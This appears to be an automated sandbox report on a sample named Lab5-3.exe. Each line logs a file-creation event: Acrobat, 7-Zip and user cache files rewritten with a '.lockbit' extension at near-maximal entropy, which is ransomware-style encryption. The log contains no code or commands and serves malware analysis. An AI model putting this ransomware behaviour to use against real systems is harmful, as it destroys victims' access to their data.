Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\cs-cz\AppStore_icon.svg.lockbit entropy: 7.99191211987	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\de-de\AppStore_icon.svg.lockbit entropy: 7.99077437721	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\es-es\AppStore_icon.svg.lockbit entropy: 7.99182454211	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-acro-en_us_2x.gif.lockbit entropy: 7.99743424417	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\prep_privacy-sdx_win32_bundle_js_V8_perf.cache.lockbit entropy: 7.99896868649	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_InternetExplorer_Default.lockbit entropy: 7.99577290596	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\wctEA40.tmp.lockbit entropy: 7.99750637287	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Chrome__crx_kefjledonknomlcbpllchaibag.lockbit entropy: 7.99506241273	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\prep_ui_win32_bundle_V8_perf.cache.lockbit entropy: 7.99916335466	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\fi-fi\AppStore_icon.svg.lockbit entropy: 7.99166017293	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\find-text-2x.png.lockbit entropy: 7.99519603692	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_AutoGenerated_{C1C6F8AC-40A3-0F5C-146F-65A9DC70BBB4}.lockbit entropy: 7.99456372773	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\reader_signin_background.svg.lockbit entropy: 7.99914581817	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Scan_visual.svg.lockbit entropy: 7.99459638177	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\fr-fr\AppStore_icon.svg.lockbit entropy: 7.99337606179	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ja-jp\AppStore_icon.svg.lockbit entropy: 7.99060606873	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_AutoGenerated_{C804BBA7-FA5F-CBF7-8B55-2096E5F972CB}.lockbit entropy: 7.9950748332	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_AutoGenerated_{DAA168DE-4306-C8BC-8C11-B596240BDDED}.lockbit entropy: 7.9950287769	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\plugin.js.lockbit entropy: 7.99696683831	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_AutoGenerated_{116229A7-9A3B-2078-DB5F-B5A20811242C}.lockbit entropy: 7.99476369853	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\multi-tab-file-view-2x.png.lockbit entropy: 7.99411516611	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\scan-2x.png.lockbit entropy: 7.99675954653	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\reduced_mode-2x.png.lockbit entropy: 7.99083496299	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\it-it\AppStore_icon.svg.lockbit entropy: 7.99293088541	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\scan.png.lockbit entropy: 7.99295075236	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_AutoGenerated_{8AA47365-B2B3-1961-69EB-F866E376B12F}.lockbit entropy: 7.9947943357	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_Office_EXCEL_EXE_15.lockbit entropy: 7.99566140851	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_AutoGenerated_{8ABD94FB-E7D6-84A6-A997-C918EDDE0AE5}.lockbit entropy: 7.99490983778	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_AutoGenerated_{923DD477-5846-686B-A659-0FCCD73851A8}.lockbit entropy: 7.99538312222	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_AutoGenerated_{F1118828-A0CC-5FEB-85C9-DBFFDF98434A}.lockbit entropy: 7.99496414913	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Chrome__crx_mpnpojknpmnjdcgaaiekajbnjb.lockbit entropy: 7.99494303658	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\images\illustrations_retina.png.lockbit entropy: 7.99217528775	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ko-kr\AppStore_icon.svg.lockbit entropy: 7.99241150801	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\dc-annotations\js\plugin.js.lockbit entropy: 7.99869671707	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\7-Zip\Lang\ka.txt.lockbit entropy: 7.99091505634	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\7-Zip\Lang\mng2.txt.lockbit entropy: 7.99144665689	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\7-Zip\Lang\mng.txt.lockbit entropy: 7.9915827798	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\COPYING.LGPLv2.1.txt.lockbit entropy: 7.99375498855	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf.lockbit entropy: 7.99899817873	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat.tlb.lockbit entropy: 7.99697449452	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\resources.pak.lockbit entropy: 7.99713722245	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\COPYING.LGPLv2.1.txt.lockbit entropy: 7.9941264669	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Assets\ownership-hero-image-d.gif.lockbit entropy: 7.99918142544	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Click on 'Change' to select default PDF handler.pdf.lockbit entropy: 7.99881499568	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\resources.pak.lockbit entropy: 7.99714271215	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\desktop-enhance-popups-chunk.js.lockbit entropy: 7.99767508198	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\4dddbe6058a486f7048673e4b143f7c4.png.lockbit entropy: 7.9923634281	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\desktop-RMUpsellCard-modals-chunk.js.lockbit entropy: 7.99558813535	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\desktop-split-popups-chunk.js.lockbit entropy: 7.99545983956	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\desktop-ccx-chunk.js.lockbit entropy: 7.99722341796	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\9b1662bee64658ff8dd184737a056510.png.lockbit entropy: 7.9978049842	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\desktop-editsettings-popups-chunk.js.lockbit entropy: 7.99624416103	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\4049-chunk.js.lockbit entropy: 7.99760308926	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\Q3_2022_ConnectCloudStorage.webm.lockbit entropy: 7.99819085275	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\c6534465ea418b6c252e2b74bc9e4bbb.png.lockbit entropy: 7.99931237905	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\6b0215ed0a09075330a1c6dd3dbfba1d.png.lockbit entropy: 7.99010581534	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\e992b56b1dc8ca33be3e4952595d5208.png.lockbit entropy: 7.9981845974	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\6f43d8c6da907e34ab2028ef15733412.png.lockbit entropy: 7.99386471399	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\desktop-signsettings-popups-chunk.js.lockbit entropy: 7.99228732626	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\desktop-modals-chunk.js.lockbit entropy: 7.99294785842	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\Q3_2022_GetOthersToSign.webm.lockbit entropy: 7.99919101694	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\Q3_2022_RedactPDFContent.webm.lockbit entropy: 7.99781926435	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\Q3_2022_ToggleNewInterface.webm.lockbit entropy: 7.99410838609	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\drvSOFT.x3d.lockbit entropy: 7.99896835642	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\desktop-rsfeedback-modals-chunk.js.lockbit entropy: 7.99451010698	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\c124efa99176e538252a2ae3cef2137e.png.lockbit entropy: 7.99817892458	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\Q3_2022_GetStartedWithANewFile.webm.lockbit entropy: 7.99882980849	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\83bf4cfa63b712c6973a0d510a7b2c99.png.lockbit entropy: 7.9921292927	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\0c9bbbe7a01f43c8a2c084d4926a8785.png.lockbit entropy: 7.99879105994	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-ca-ES-json-chunk.js.lockbit entropy: 7.99764047873	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\__VERSION__\dc-mobx.js.lockbit entropy: 7.99781502376	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-cs-CZ-json-chunk.js.lockbit entropy: 7.99776487517	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-da-DK-json-chunk.js.lockbit entropy: 7.99816960746	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\a56350ec5a5b310e9f4c7e10e0b6795c.png.lockbit entropy: 7.99569787859	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\1901-chunk.js.lockbit entropy: 7.99251734254	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-ko-KR-json-chunk.js.lockbit entropy: 7.99851705501	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\Microsoft.VCLibs.x86.14.00.appx.lockbit entropy: 7.99807096625	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\9066745ff44b689b5cc89c3d73970f01.png.lockbit entropy: 7.99873967602	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\Q3_2022_WorkFromAnywhere.webm.lockbit entropy: 7.99841631929	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-es-ES-json-chunk.js.lockbit entropy: 7.99802338054	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-ja-JP-json-chunk.js.lockbit entropy: 7.99808303569	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-nb-NO-json-chunk.js.lockbit entropy: 7.99783385506	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\desktop-videoplayer-chunk.js.lockbit entropy: 7.99903623363	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\css\main.css.lockbit entropy: 7.99844781747	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account-select\js\plugin.js.lockbit entropy: 7.99566116175	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\images\ExpressLogo_18.svg.lockbit entropy: 7.99031495905	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\en_IL\license.html.lockbit entropy: 7.99321295734	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\hu_HU\license.html.lockbit entropy: 7.99494550632	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\cs_CZ\license.html.lockbit entropy: 7.99439698322	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\da_DK\license.html.lockbit entropy: 7.99469599953	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\el_GR\license.html.lockbit entropy: 7.99380530204	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ja_JP\license.html.lockbit entropy: 7.99558309482	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ENU\license.html.lockbit entropy: 7.99576162213	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\he_IL\license.html.lockbit entropy: 7.99548140925	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ar_AE\license.html.lockbit entropy: 7.99618511049	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\IDTemplates\ENU\AdobeID.pdf.lockbit entropy: 7.99763477101	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\pl_PL\license.html.lockbit entropy: 7.99513814282	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\zh_CN\license.html.lockbit entropy: 7.99183975263	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\sv_SE\license.html.lockbit entropy: 7.99426112693	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\pt_BR\license.html.lockbit entropy: 7.99426014303	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\tr_TR\license.html.lockbit entropy: 7.9943377543	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ko_KR\license.html.lockbit entropy: 7.99436407107	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ru_RU\license.html.lockbit entropy: 7.9970650496	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\zh_TW\license.html.lockbit entropy: 7.99260021575	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\en_AE\license.html.lockbit entropy: 7.99364181908	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\nl_NL\license.html.lockbit entropy: 7.99485488181	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\sk_SK\license.html.lockbit entropy: 7.99359408752	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\nb_NO\license.html.lockbit entropy: 7.99396778775	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocTemplates\ENU\template3.pdf.lockbit entropy: 7.99345118302	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\it_IT\license.html.lockbit entropy: 7.99286040033	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\uk_UA\license.html.lockbit entropy: 7.99720352255	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\HostedServicesTemplates\ENU\template1.pdf.lockbit entropy: 7.99696253148	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\en_GB\license.html.lockbit entropy: 7.9929500446	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\es_ES\license.html.lockbit entropy: 7.995272608	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\de_DE\license.html.lockbit entropy: 7.99360027517	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\IDTemplates\ENU\DefaultID.pdf.lockbit entropy: 7.9979610848	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\sl_SI\license.html.lockbit entropy: 7.99359367274	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocTemplates\ENU\template2.pdf.lockbit entropy: 7.99406202501	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\regular\AdobeClean-Regular.woff.lockbit entropy: 7.99893711466	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\regular\AdobeClean-Bold.woff.lockbit entropy: 7.99878179016	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\resources\ui\font\regular\AdobeClean-Light.woff.lockbit entropy: 7.99866247736	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\fr_MA\license.html.lockbit entropy: 7.99550221538	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\fr_FR\license.html.lockbit entropy: 7.99504941962	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\fi_FI\license.html.lockbit entropy: 7.99467629603	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\en_US\license.html.lockbit entropy: 7.99404422203	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\ENU\Pointers.pdf.lockbit entropy: 7.99677110197	Jump to dropped file
